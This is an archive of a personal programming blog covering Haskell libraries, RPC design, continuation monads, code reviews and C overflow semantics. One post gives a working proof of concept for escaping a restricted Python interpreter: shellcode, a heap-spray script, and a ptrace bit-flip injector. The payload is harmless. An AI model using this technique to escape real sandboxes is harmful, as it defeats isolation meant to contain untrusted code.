Wed Feb 27 15:43:32 PST 2008

Keyspan USB serial dongle drivers for amd64 Ubuntu 7.10

Ubuntu doesn't ship with this driver, but it's useful: keyspan.ko

To install, copy to /lib/modules/2.6.22-14-generic/kernel/drivers/usb/serial and depmod -a && modprobe keyspan (as root).

Thu Jan 24 20:04:14 PST 2008

I've just setup darcs.imperialviolet.org, mostly for myself (so that I can keep my laptop and home computer in sync), but also to serve anyone else's agl code needs .

Tue Jan 22 10:30:46 PST 2008

Maybe there's something to this democracy lark after all:

You will be pleased to know that this amendment was deleted from the
voting list, thus we did not vote on it. The price of liberty is eternal
vigilance!

That's from Thomas Wise. Now I'm not a fan of UKIP - but I'm quite happy with this.

Also, see comments on the BoingBoing story about this win

Mon Jan 21 09:47:58 PST 2008

I've had a section here called Letters I've written to my MP for ages. I've not really had an MP for a while now so it's dried up a little. But fear not, stupidity hasn't left politics! Danny from the EFF alerts us to more stupidity (stupidity in bold) from the EU. However, I don't have time to get a physical letter there before the vote, so an email will have to do.

[1] http://www.politechbot.com/p-03281.html
[2] http://www.hm-treasury.gov.uk/independent_reviews/gowers_review_intellectual_property/gowersreview_index.cfm

Sun Jan 20 20:46:11 PST 2008

I'm currently writing an RPC layer in Haskell (and also in C since I expect that I'll need it). I'm using libevent's tagged datastructures (which is why you've see Haskell support for that from me), however I'm not using evrpc because of a number of reasons. Firstly, it uses HTTP as a transport. What troubles me about using HTTP directly as a transport layer is the in-order limits that it imposes. The server cannot deliver replies out of order, nor can it deliver multiple replies for a single request (at least, not with replies to other requests mixed in), nor can it send any unsolicited messages (e.g. lame-mode messages).

Also, evrpc has no support for lameness, although that's fixable (modulo the HTTP issues). Because of all that I decided to roll my own, called RPCA (because I'm not sufficiently self-centered just to call it Network.RPC ). I'm including part of the RPCA documentation below for comments.

RPCA Semantics

RPCA is an RPC system, but that's a pretty loose term covering everything from I2C messages to SOAP. So this is the definition of exactly what an RPCA endpoint should do.

RPCA RPCs are request, response pairs. Each request has, at most, one response and every response is generated by a single request. That means, at the moment, so unsolicited messages from a server and no streaming replies.

RPCs are carried over TCP connections and each RPC on a given connection is numbered by the client. Each RPC id must be unique over all RPCs inflight on that TCP connection. (Inflight means that a request has been send, but the client hasn't processed the reply yet.) A reply must come back over the same TCP connection as the request which prompted it. If a TCP connection fails, all RPCs inflight on that connection also fail.

An RPC request or reply is a pair of byte strings. The first is the header, which is specific to RPCA. The only part of the header which applications need be concerned with is the error code in the reply header. The second is the payload (either the arguments in the case of a request, or the result in the case of a reply). This may be in any form of the applications' choosing, but it expects that it'll be a libevent tagged data structure.

An RPC is targeted at a service, method pair. A server can export many services but each must have a unique name on that server. (A server is a TCP host + port number.) Each service can have many methods, the names of which need only be unique within that service.

A Channel is an abstract concept on the client side of a way of delivering RPCs, and getting the replies back from a given server, service pair. It's distinct from a connection in that a Channel can have many connections (usually only one at a time, though) and that a Channel targets a specific service on a server.

On a given server a service may be up, lame or down. There's no difference between a service which is down and a service which a server doesn't export. Services which are lame are still capable of serving requests, but are requesting that clients stop sending them because, for example, the server is about to shutdown. When a service becomes lame it sends special health messages along all inbound connections to the server, so that clients may be asynchronously notified. (Note that health messages aren't RPCs so this doesn't contradict the above assertion that there are no unsolicited RPC replies.)

If a Channel is targeted at a single server, service pair, then it's free to assume that the service is immediately up. If not, the server will set the error code in the RPC replies accordingly. If a Channel is load-balancing (i.e. is has multiple possible servers that a request could be routed to) it must wait to perform a health check before routing any requests to any server. A load-balancing Channel stops routing requests to any servers which report lameness.

Note that lameness is a per-service value so that some services on a server may be lame with others are up.

Sun Jan 20 13:53:55 PST 2008

Recent Haskell work:

• binary-strict: strict binary parsing, including bit parsing
• fec: forward error correction (Reed-Solomon)
• control-timeout
• codec-libevent: support for libevent's tagged data structures

Fri Jan 18 10:51:48 PST 2008

So it's been really very quiet here for a while. Actually, it's been pretty much that way since I started at Google. A full time job takes up quite a lot of time and energy.

Mostly my outside coding efforts have been going into Hackage recently (think of it as the Haskell CPAN). If this work would interrest you, you probably already know about it.

But what prompted me to write this was yet more about the semantic web. I think TBL's Weaving the Web and some of the various articualtions are inspiring. Freebase is cool.

But I still don't know when the RDF model became the start and end of semantic work. The RDF model says that the semantic world is a list of (subject, relation, object) triples. There are a bunch of semi-standards building on top of that, but I see little questioning of that basic model.

But it just plain doesn't make sense to me. If we consider a triple to be an arc in a graph of objects, we know the starting and end points of the arc and we have the type of the arc (the relation). But I want to know over what time period that arc is valid. The triple (Adam Langley, lives-in, London) was valid for a few years but isn't now. Also I want to know who is asserting this arc, how sure are they etc. Maybe I want to say that someone has at-least some number of children.

This results a model something like [Arc] (getting back to Haskell here) where an arc is [(Attribute, Value)] (a key-value list). Without a start, end and type the arc is pretty much useless I'll admit, so those probably are required, but arcs need so much more.

Rant over.

Fri Jan 11 14:28:42 PST 2008

For reasons that I won't go into here, someone was asking me about running untrusted code in Python. Just as a musing, I came up with the following:

Although you might be able to lock down a Python interpreter so that it wouldn't run any code that could do anything bad, you still have to remember that you're running on a real computer. All real computers go subtly wrong and introduce bit errors in memory. If you're very lucky, you'll find that your server has ECC memory, but that only reduces the number of bit errors.

A Python object has a common header which includes a pointer to its type object. That, in turn, contains function pointers for some operations, like getattr and repr. If we have a pointer to a Python object, bit errors can move that pointer back and forth in memory. If we had lots of Python objects with payloads of pointers to a fake type object, we could hope that a bit error would push one of the pointers such that we can control the type object pointer.

Let's start with a bit of position independent code that prints "woot" and exits the process:

  SECTION .text
  BITS 32
  mov edx, 5
  mov ebx, 1
  call next
  next:
  pop ecx
  add ecx, 21
  mov eax, 4
  int 0x80
  mov eax, 1
  int 0x80
  db "woot", 10

Nasm that to t.out and we have our shellcode. Next, construct a python script that amplifies bit errors in an array of pointers in an expliot:

  import struct
  import os
  import array

  # load the shellcode
  shellcode = file('t.out', 'r').read()
  # put it in an array
  shellarray = array.array('c', shellcode)
  # get the address of the array and pack it in a pointer
  shelladdress = struct.pack('I', shellarray.buffer_info()[0])
  # replicate that pointer lots into an array
  eviltype_object = array.array('c', shelladdress * 100)
  # and get the address of that and replicate into a string
  evilstring = struct.pack('I', eviltype_object.buffer_info()[0]) * 100
  # create lots of pointers to that string
  evillist = [evilstring] * 100000
  print os.getpid()
  # Call the repr function pointer for every element in evillist for ever
  while True:
    for x in evillist:
      repr(x)
      print 'ping'

So, memory looks like this:

[pointer pointer pointer ...] | | | V V V [String-header pointer pointer pointer] | | | V V V [pointer pointer ... ] | | V V [shellcode ]

So the size of the first level gives us a window in which bit errors can turn into exploits. The size of the second level lets us capture more bit errors (we could also have a couple of strings, in the hope that they are next to each other on the heap, so that we can catch bit-clears too). How many bits of each 32-bit pointer can we expect to be useful? Well, it's probably reasonable to have a 128K evilstring, so that's 15 bits (since changing bits 0 and 1 will screwup our alignment). So, about half of them. To test the above, I cheated and wrote a bit-error-generator:

int main(int argc, char **argv) {
    const int pid = atoi(argv[1]);
    const unsigned start = strtoul(argv[2], NULL, 0);
    ptrace(PTRACE_ATTACH, pid, NULL, NULL);
    wait(NULL);
    long v = ptrace(PTRACE_PEEKDATA, pid, (void *) start + 32, NULL);
    v += 32;
    ptrace(PTRACE_POKEDATA, pid, (void *) start + 32, (void *) v);
    ptrace(PTRACE_DETACH, pid, NULL, NULL);
    return 0;
}

And here's the output:

% python test.py
  0x80633f8
  30911
  0xB7C24F0CL
  ping
  ping
  woot

Success!

Fri Nov 23 13:09:09 PST 2007

If you happen to want to run industrial scale document scanners under Linux, I've just open sourced the (small) driver that you'll need: kvss905c on Google Code.

Wed Oct 10 09:19:50 PDT 2007

Signed numbers don't overflow in C

The title of this post is clearly daft; signed numbers are of a finite size so, of course they overflow. However, physical reality doesn't agree with the C standard which says that compilers can (and do) assume that overflow never happens. Take this, for example:

int a, b;
if (a > 0 && b > 0 && a + b > 0) foo();

A compiler can remove the third test because it's redundant given the assumptions that a + b cannot overflow.

Clearly, this is pretty scary stuff and it's one of the reasons that I use unsigned everywhere. However, I'm very happy to read the GCC 4.2 change log to see the following:

New command-line options -fstrict-overflow and -Wstrict-overflow have been added... With -fstrict-overflow, the compiler may assume that signed overflow will not occur, and transform this into an infinite loop. -fstrict-overflow is turned on by default at -O2, and may be disabled via -fno-strict-overflow. The -Wstrict-overflow option may be used to warn about cases where the compiler assumes that signed overflow will not occur. It takes five different levels: -Wstrict-overflow=1 to 5. See the documentation for details. -Wstrict-overflow=1 is enabled by -Wall.

Wed Jul 4 20:21:48 PDT 2007

Continuation monads for state machines

CPS (continuation-passing-style) is a code style which is often the result of the first step in compiling many Scheme like languages. Since I learned this stuff in Scheme, that's what I'm going to use in the beginning, switching to Haskell soon after.

So here's a top level Scheme program

(print (fact 10))

Rather than return, each function gets a function in its argument list which is its continuation. It's the function for the rest of the program which takes the result of the current function. It's always a tail-call.

(fact 10 (lambda (v) print v #exit#))

So here, fact runs and calls its continuation with the result. This continuation is a function which prints the value and calls its continuation, which terminates the program.

Easy, right?

So here's a continuation monad in Haskell; but a quick motivation first. What this will give us is something like a Python generator, but which we can pass values in to. So it's a state machine, but without the inverted flow of control and without threads.

newtype M o a = M ((a->o)->o)
nstance Monad (M o) where
  return x = M (\c -> c x)
  (M g)>>=f = M (\c -> g (\a -> let M h = f a in h c))

Here, o is the output type (the type of the values which are yielded) and a is the input type. The monad itself is a wrapper around a function of type ((a->o)->o) - a function which takes a continuation and returns the output type of that contination. The bind method is pretty scary, but I can't explain it any better here than the code already does - I'll just end up using more letters to say the same thing. (I have to work it through every time I read it anyway.)

Now we need a couple of helper functions, but first the example: we're going to build a lightswitch which takes three commands: set (with an Bool value), toggle and query:

data Result a = NewState (a->Result a) | Value Bool (a->Result a) | Final
data Input = Set Bool | Toggle | Query

So all our commands have to yield a value of type Result, querying will return a Value and the other two will return a NewState (which isn't really a result, it just gives the new continuation of the system). Final is there to be the value marking the end of the stream (it doesn't contain a next continuation).

yield x = M (\c -> Value x c)
wait = M (\c -> NewState c)

These functions are how we yeild values. Both are values in M which take a continuation and return a Result which passes that continuation back to the caller.

runM cm = \x -> let (M f) = cm x in f (\c -> Final)

This is a function which takes a first input, applies it to something which results in a continuation monad, unwraps that monad and gives it the final continuation, one which eats its given contination and gives Final

lightswitch state v = do
  case v of
    Set state -> wait >>= lightswitch state
    Toggle -> wait >>= lightswitch (not state)
    Query -> yield state >>= lightswitch state

This is our lightswitch, it takes an initial state and an Input and updates its state accordingly and returns some Result using either yield or wait. It recurses forever.

step cont = do
  line <- getLine
    case line of
	"toggle" -> case cont Toggle of NewState cont' -> step cont'
    	"query" -> case cont Query of Value x cont' -> putStrLn (show x) >> step cont'
	otherwise -> putStrLn "?" >> step cont

Here's the code that uses the state machine. It's in the IO monad and runs a little command line where you can type in commands and see the results:

toggle
query
True
toggle
query
False

It takes a continuation (which is the state of the state machine) and applies an Input to it to get another continuation (state of the machine). You can, of course, keep around any of these states and "undo" something by using an older state.

And to tie it all together:

main = step $ runM $ lightswitch False

We pass False as the initial state of the system and use runM to stick the final continuation on the end; then we have a continuation for the state machine and off we go.

Hopefully that made some kind of sense. To give credit where it's due: I stole the bind method (and motivation) from this paper.

Thu Jun 28 22:11:47 PDT 2007

The science of fault finding

When bad things happen, it's a science tracking them down. I had a big one today and I've been thinking about how I go about it (in the hope that I can go about it faster in the future).

A fault/failure has a chain of events from the thing that changed to the thing that failed to the signal that let you know that something was wrong. Sometimes the failure and the signal are the same thing (what failed? It crashed. What's the signal? It crashed). And some times the thing that changed is the same as the thing that failed (what changed? The O-ring seal burst. What failed? The O-ring). The difference between the thing that changed and the thing that failed is that the latter is the first thing in the chain of events which you can make a value judgment about. Change happens, but failure is bad.

In the system I'm dealing with we have many, many (many) signals about what's going on. Lots of those signals changed today. Some of them don't have value judgments; they're aren't saying that anything is wrong, just that something is different. The chain of events has many branches and not all of them cause anything bad. However, several important indicators (error rate, latency) do have value judgments and they were creeping up.

Now beings the science: have ideas, test them out. You can start from both ends of the chain; trying to figure out what changed and trying to work back from the signals. Since this was affecting the whole world there was one very obvious thing that changed at about the right time, but there were several other possibilities. Someone went off to investigate the other possibilities but mostly we concentrated on the big change, although we had no idea how it could have caused a problem.

Now, at this point I think it would have been helpful to scribble on a whiteboard or on paper to record our facts about the problem. Otherwise you spill working memory and you forget why you discounted ideas. I'm very much thinking of something like the differential meetings in House (the TV show).

However, I'm mostly thinking about how it took so many people so long to figure out where the failure was. In hindsight, we had all the clues needed fairly quickly and I even knew that they were important because I kept looking at the two signals which turned out to be critical. Neither were out of range, but they told contradictory states of the world. If you had tracked me down in the corridor and asked “How can both A and B be true?” I could have told you pretty quickly. But for some reason I was looking for other factors which could influence the more indirect of the signals. It didn't help that I didn't know the system all that well, but I still should have worked through the logic assuming that they were correct first and not taken 20 minutes to do so.

Of course, everything is obvious in hindsight, but I still feel that I've missed the lesson somewhere here. Maybe I just need to start writing things down when I get into that state. It's similar to explaining something to someone; it helps you organise your thoughts too. I guess I'll see how that goes next time.

Thu Jun 28 11:08:03 PDT 2007

Ian has launched Thoof, a bookmarking service with a smart recommendation engine. He probably doesn't want a /.'ing right now, but I'm sure that IV's readership load isn't going to cause too many issues.

[NYTimes on Thoof]

Tue Jun 26 22:21:34 PDT 2007

The good and bad of code reviews in a large organisation

I write this slightly out of anger/pain - I've had two patches get screwed up by code reviews today, but there are two sides to every code review...

The aim of code reviews is fairly obvious: if your code can't stand up to being reviewed it probably doesn't belong in the code base. There are some obvious downsides too; the amount of time that they take is the most common one that I hear.

However, there are some other downsides too. The code review is the most error prone part of the patch writing process. When you're actually writing the patch you are fully engaged with the structure of the code - what you're writing is probably correct and testing mostly catches the rest.

However, in the code review you're constantly in interrupt mode. A reply comes in and you make changes/answer the points in the reply and send it back. Every iteration is dangerous because you're context switching in and out.

This can be made worse is the reviewer is picking out stupid things: like changing an unsigned to an int (it was the length of a list, unsigned was correct). However, if it's someone else's code, or even if it's just been a long day you might give in and not bother arguing.

If the two parties know each other, the probability of a dangerous, picky review is reduced for the same reason that communication of all forms generally works better when people actually know each other. Bad reviews also occur when theres a big organisational difference between the two people (because no-one is going to tell a senior engineer that they are a crap reviewer.)

Of course, testing often saves the day here, but this is C++ and not everything tests easily. (In fact, very little tests easily unless test friendliness was a major facet of the original design). Inevitably, people don't run all the (probably pretty manual) tests after every little change and they just make that one last requested change and submit to get the damm thing done before lunch. (That would have been me today - the error wasn't a big deal at all, but it won't have happened without the code review.)

Code reviews also kill all minor changes. No one fixes typos or slightly bad comments because the effort of getting the review is too much. The barrier is such that a whole class of patches never happen.

One patch of mine today (I vaguely know the reviewer) got slightly better in one part and slightly worse in another because I could deny the requests which were wrong or silly, but didn't do that with enough vigor. The other (don't know the reviewer and they are very senior) got worse in almost every respect.

This is not to say that I don't think that code reviews are a good idea. I think some form is needed in a large code base. But they can easily be not just costly, but dangerous, unless done right.

Sat Jun 9 10:11:29 PDT 2007

This code isn't ready to be a Hackage package yet, it's not nearly as capable as I'd want, but it works: NearestNeighbour2D. It lets you find the closest point to a set of points in 2D efficiently. The limitation is that the tree building isn't incremental at all.

Sat Jun 2 19:18:38 PDT 2007

Lazy lists for IO

I have somewhat mixed feelings about using lazy lists in Haskell for IO. As a quick introduction - there is a technique in Haskell which lets you write pure fuctional code which processes a stream (lazy list) of data and have that stream of data be read/written on demand. This lets you write very neat stuff like:

BSL.interact (BSL.map ((+) 1))

which will, with the correct imports, read chunks of bytes from stdin, add one to each byte (with overflow) and write the chunks back to stdout.

Now, in one sense this is beautiful, but it really limits the error handling which is where my mixed feelings come from. None the less, I just used it in some code and it did lead to really nice code.

I was writing a very simple IRC bot. I need it to monitor a channel and pick out certain messages. These messages come from the paging system and happen when something goes wrong. I then pipe them out to dzen and have them appear in the middle of the screen.

To do this I wrote a pure functional IRC client which isn't in the IO monad and is typed like this:

data IRCEvent = IRCLine String
                deriving (Show)
data IRCMessage = IRCMessage String String String | IRCCommand String | IRCTerminal | IRCError String
                  deriving (Show)
ircSnoop :: [IRCEvent] -> [IRCMessage]

Think about what an IRC client would be if it were an element in a dataflow graph. It gets a stream of lines from the server and produces two streams: a stream of data to send to the server (joining channels, replying to pings etc) and a stream of results (events from the paging system in this case). Here, IRCEvent is the type of the input stream. It's a type because I originally had extra input events (join/part a channel etc), but I removed them and lines from the server are all that remains. The two output streams are merged into one and separated by type; so the output stream has to be tee'ed, partly going back to the IRC server and partly to the logic which figures out if the message is important and showing it if it is.

The code to reply to the IRC server:

ircWrite handle ((IRCCommand line):messages) = do
  hPutStrLn handle (line ++ "\r")
  hFlush handle
  ircWrite handle messages
ircWrite handle (x:messages) = unsafeInterleaveIO (ircWrite handle messages) >>= return . ((:) x)

In the case of an IRCCommand result, we write it to the server and loop. Otherwise, we return the element of the list and, process the rest. Note the use of unsafeInterleaveIO because otherwise we would write this equation:

ircWrite handle (x:messages) = do
  rest <- ircWrite handle messages
  return (x : rest)

However, that wouldn't produce any results until we hit the end of the messages list. unsafeInterleaveIO lets us return a result and only perform an IO action when the value is forced.

So, this works really well in this case. The IRC protocol handling is very clean and it's very little code to do quite a lot. So in this case, lazy IO works. I don't have a good example of where it doesn't right now, but when I hit one I'll write it up.

Sat May 26 10:16:45 PDT 2007

I had need of an LRU data structure in Haskell: LRU-0.1

Tue May 8 18:37:47 PDT 2007

RDF searching

You may have seen the recent news about an RDF breakthrough (this even hit non-tech media). Well, the paper is here and is worth a read. It's not actually a terribly well written paper and you'll need to read the paper on the index structure to get what's going on.

Personally, I would have broadcast the requests to all the index servers because hashing to buckets makes resizing the number of buckets very hard. Also, I'm not sure about their data flow for joining sets. But that's fairly minor.

If you liked those, try the paper on ranking too.

Of course, this begs the question of how RDF will ever be useful for anything - because it isn't at the moment and it's been around a while. I'm not going into that now.

(and, if you needed any more reason to switch to Xmonad from ion, see these recent comments from the author)

Sat May 5 14:45:24 PDT 2007

Anyone interrested in programming languages should watch this video of my colleague, Phil Gossett talking about isomorphisms between types and code.

Oh yes, and Spiderman 3 is terrible, avoid it.

Tue Apr 24 09:23:41 PDT 2007

I have a new window manager and it works great. There are a couple of minor bugs (my gvim window runs a little off the bottom of the screen), but it's only the first release.

(although readers should note that I've used ion for years so the switch to Xmonad may be a little more jarring for some.)

And while I'm typing, I just want to say how spot on Ed Felten is in this post where he talks about the (increasingly loud) chatter about a “clean slte” design for the internet. While we're talking about things which will probably never happen, checkout ipv6porn (don't mind the domain name, it's perfectly safe for work).